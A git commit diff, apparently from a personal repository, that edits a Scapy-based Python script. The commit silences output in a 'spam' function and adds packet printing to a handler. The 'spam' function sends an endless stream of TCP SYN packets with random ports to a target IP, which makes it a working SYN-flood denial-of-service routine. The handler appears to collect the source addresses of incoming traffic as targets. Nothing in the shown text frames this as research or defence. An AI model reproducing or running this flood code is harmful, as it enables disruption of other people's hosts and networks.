Update spam function to suppress verbose output and add packet printing in handler

This commit is contained in:
Lukian 2025-01-19 16:32:21 +01:00
parent 9a40088ad9
commit e7a2972f32

View file

@ -15,7 +15,7 @@ addresses = {}
def spam(ip): def spam(ip):
while True: while True:
packet = IP(dst=ip) / TCP(dport=RandShort(), sport=RandShort(), flags="S") packet = IP(dst=ip) / TCP(dport=RandShort(), sport=RandShort(), flags="S")
send(packet, verbose = True) send(packet, verbose = False)
def empty_addresses(): def empty_addresses():
while True: while True:
@ -23,6 +23,7 @@ def empty_addresses():
addresses.clear() addresses.clear()
def handler(pkt): def handler(pkt):
print(pkt)
address = pkt[IP].src address = pkt[IP].src
if address == MY_IP: return if address == MY_IP: return
if address in addresses.keys(): if address in addresses.keys():